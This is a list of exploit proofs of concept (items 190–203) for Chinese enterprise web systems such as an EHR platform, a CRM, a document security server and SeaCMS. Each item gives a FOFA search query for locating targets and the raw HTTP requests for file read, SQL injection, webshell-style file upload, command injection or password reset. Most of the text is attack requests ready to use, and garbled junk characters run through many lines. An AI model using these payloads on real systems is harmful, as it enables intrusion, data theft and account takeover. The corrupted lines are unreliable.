* ^  Z/ R3 ~" p1 p4 w8 \% V
( A5 L! f4 W: `# U3 t5 S: ~
% b1 H8 T- T7 Q+ R8 Z9 z2 I4 i190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
9 i2 B! H! R  U6 y6 M' uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
; O7 p6 P# T+ Z0 H" EAccept-Encoding: gzip, deflate
1 E& k; }& T$ t& uAccept-Language: zh-CN,zh;q=0.9
3 u: F0 R; e. P; W; w8 n
poi=file:///etc/passwd
% E/ N7 \" j: ]. [7 l
1 F* j# d7 c2 a+ M- i' x
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 S* v, _: T3 N6 M+ l
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

% m+ h1 f0 Z& H% u
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
$ z( i- \4 U) G! Y, p, h4 y6 KFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
* b! f& L0 J+ t: Y7 `2 dHost: your-ip
  `( y0 e4 ?7 ?" [7 _' u0 \+ tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

  ^7 K1 S1 Q: q$ h- L
<% @ webhandler language="C#" class="AverageHandler" %>
: o2 Y5 |. t& I2 ~. E! a: Cusing System;
8 e  L& W; Q; X( x; j* l! Wusing System.Web;
public class AverageHandler : IHttpHandler
4 c% v, ?; e& @: n7 i. B' ~' i{
' Q+ x% v: N$ X: `) Xpublic bool IsReusable
+ K9 }/ m/ v. T+ ^6 D- b* ^  l{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
' y( {4 f6 e- _, S3 }{
/ U- L' R5 t. Q# L9 ~ctx.Response.Write("test");
}
}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
2 s  q% V, a/ e; H' HCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
& C* r1 I" h4 XUser-Agent: Mozilla/5.0
- ?0 M0 F4 I" E. H& n  C
5 n7 m) W$ }/ m& W3 D; M2 l7 O* z
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
; a* K3 \% p. `' L6 R6 IUser-Agent: Mozilla/5.0
, o8 ~, J, P& l2 Z5 iAccept-Encoding: gzip, deflate
2 h5 R" y: ^3 R9 RAccept: */*
4 x6 z% D, V  \7 FConnection: close
Cookie: PHPSESSID=2333333333333;
4 e, [* S  {' m# q" K9 |Content-Type: application/x-www-form-urlencoded
4 K, O% p5 F! u( n& hContent-Length: 84
; `  u' D& V! h' x$ O1 `* T
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


3 b7 n0 @) n7 F) A# v7 eGET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0


2 W: ?; y1 T6 U( P" n; |/ I194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

" m2 [+ m. j  v& z8 c, W3 C- KPOST /servlet/uploadAttachmentServlet HTTP/1.1
1 G  B( e8 d' a; WHost: host
1 ^; e. f6 o9 Y  N& D; \3 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; S1 T5 W4 h$ s' R% L6 _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
/ d. a7 G4 E$ N0 K- T# Q------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
! J  Q, x  Q! Y, l; W1 |* k------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
  f& X1 ]. \) y; a

195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
5 v8 Z* s9 ~  I$ h: q5 W" MPOST /send_order.cgi?parameter=operation HTTP/1.1
$ C' C4 C8 [" t, v0 jHost: 127.0.0.1
% W$ h9 {6 w. J( q7 [( m. xPragma: no-cache
Cache-Control: no-cache
9 N7 J- f  s! e& b8 N! `( ^& E8 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
& h  _3 }  V* r+ {- B2 k0 DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- u& B( f: ]+ Z; T7 Z5 {0 C0 TConnection: close
8 e% C6 C3 p, T4 ?3 v. R) ~Content-Type: application/x-www-form-urlencoded
Content-Length: 68

0 k& v* E; _7 L8 }1 o! ]6 P{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
3 ]) ~8 ~7 P+ g& a3 n* x. u1 u+ B

196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
, O  n% _6 t6 y' k6 m* JContent-Type: application/json;charset=UTF-8
3 ]% |+ |& P! L1 J! uX-Requested-With: XMLHttpRequest
$ W. u0 ^: U1 T! N3 ZHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close
' Q/ o8 ^$ Q4 t! y
{"xgh":"test","newPass":"test666","email":""}

! X3 O& q  i$ u  Z8 F  `+ b$ i' `

: t) r, h* O0 `/ f) r197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
# o# A0 x9 x/ P2 `6 }& c' C: B; zFOFA：app="浙大恩特客户资源管理系统"
& G0 I" e! c9 LGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
' @: n+ @; o/ k! h- S1 @$ sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
- E7 h" O5 y. m& SAccept-Encoding: gzip, deflate
  K7 l- t: c. ?6 \% v% DConnection: close
8 K( M) K' }+ I+ _2 @3 J
8 D+ ^& q+ H8 ?( d9 [( k
# I" Y, k  x1 J2 O! J, o: r  e
% a0 Q  d3 s8 s/ |198.  阿里云盘 WebDAV 命令注入
0 r. M1 D" V9 q/ Q: `CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
3 e7 v7 [1 b+ w% Y3 W% }) e3 QCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
& _; M6 }2 L! u) Q6 hAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
- l% n* o3 H6 B, R% L6 f4 jConnection: close

* B1 ?; ]( T, N1 L
199. cockpit系统assetsmanager_upload接口 文件上传

; i+ O, J3 E; U" r0 l. r% B( Z1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
- }/ C8 ~- k+ r3 k6 x2 PGET /auth/login?to=/ HTTP/1.1

9 S2 G3 a1 `' b响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
& q: @, l) T) C% k8 d- d9 `
2.使用刚才上一步获取到的jwt获取cookie：

1 N; N6 S6 k; ?5 O8 d. r+ ePOST /auth/check HTTP/1.1
- O2 W/ ]1 X' ^Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

' k( e7 e9 j8 D5 `$ n5 [" \' Q响应：200，返回值:
. ^1 \* C3 e% V# j- J' \6 N. ISet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
. u& m  l) c$ @( u5 aFofa：title="Authenticate Please!"
% [/ T) N7 t' t' \$ U: G9 Q2 [5 c- V* v5 UPOST /assetsmanager/upload HTTP/1.1
% k$ f7 p' _3 }* ?4 `! z7 lContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
/ t2 o3 M5 D+ SCookie: mysession=95524f01e238bf51bb60d77ede3bea92
# c: I( ]- }$ ~( k4 g
3 j' i* \( J/ |; t, k: O# q-----------------------------36D28FBc36bd6feE7Fb3
' _6 m: C2 i0 }: ]Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
* {. I2 [- q" c% D: p
<?php echo "tttt";unlink(__FILE__);?>
- [( L; Z6 O- {  _% [- Q-----------------------------36D28FBc36bd6feE7Fb3
- z, N" e4 c$ U" E' yContent-Disposition: form-data; name="folder"
5 }4 m' N1 w3 n2 n1 P6 E0 q
3 F+ {: b, B4 ^2 E9 T8 n-----------------------------36D28FBc36bd6feE7Fb3--

7 S9 u7 T% D) X) O3 q( G6 T
/storage/uploads/tttt.php

, P5 p' Q3 [" f( r4 p" r200. SeaCMS海洋影视管理系统dmku SQL注入
5 K! |, l, H$ U: V% n) Q+ KFOFA：app="海洋CMS"
5 o2 Z4 |" Q# {. [" a3 DGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
* N; x- H% C# }6 @0 MUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  h4 T( X$ O; p6 [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


. |3 ?" N0 V: R6 E8 a. K  x4 P201. 方正全媒体新闻采编系统 binary SQL注入
" E  P0 @, r) }  g+ M/ CFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
, r; L6 Z* I+ Q' PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' W4 k' f* B: wConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

$ c' z5 E$ _' U0 N: ^
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
7 N: j- @% I" m1 n7 a& f; V获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
- j$ H; Z6 U9 G% kHost: 滑板人之家
3 z6 y3 z) `& [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0


# N7 T6 I2 `3 C- ?- ~- Y/ F  K8 D+ T替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
+ y& U0 J  \$ G3 c7 w7 U3 K5 QContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

' c3 |) [6 b' I9 z-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
# J4 S3 `* h  O5 C2 O
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
" R7 a3 {, ~" G2 Y3 w1 {+ yContent-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
0 [; a! G0 A6 q# @* t: N0 IContent-Type: text/plain

Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

/ x+ F; d0 M8 I; q+ i- b3 Q, ^% F上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
6 a, b! v+ P* d7 c* C1 _' P" n
; l* Y) z1 X9 V0 x
) o6 K- K& Q# o$ S) `7 s-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
& u" B# [8 G0 v8 I1 }2 d, \: U

-----------------------------786435874t38587593865736587346567358735687--


/_data/Uploads/1123.txt

5 g# G0 a0 v4 n3 x203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
. _, k! y9 P1 TPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
/ M* k3 Y7 |  I' D) ?0 L6 HAccept-Encoding: gzip
& r9 M1 ?( v% L1 r8 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
' w; G9 O7 P$ x' N9 X1 w# DContent-Length: 210
* T3 B0 b  J5 I# G( F4 Y& n- n# U
------WebKitFormBoundaryt7WbDl1tXogoZys4
( `# t) T7 ?, V( gContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

( U3 F" H/ d$ _  T  c2 E$ b8 g<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

" `1 I. Y* P+ @; O8 n

% c1 ~+ p1 i- r! Z* y1 g; V- i; ]
$ y& o$ \1 i0 @0 w% {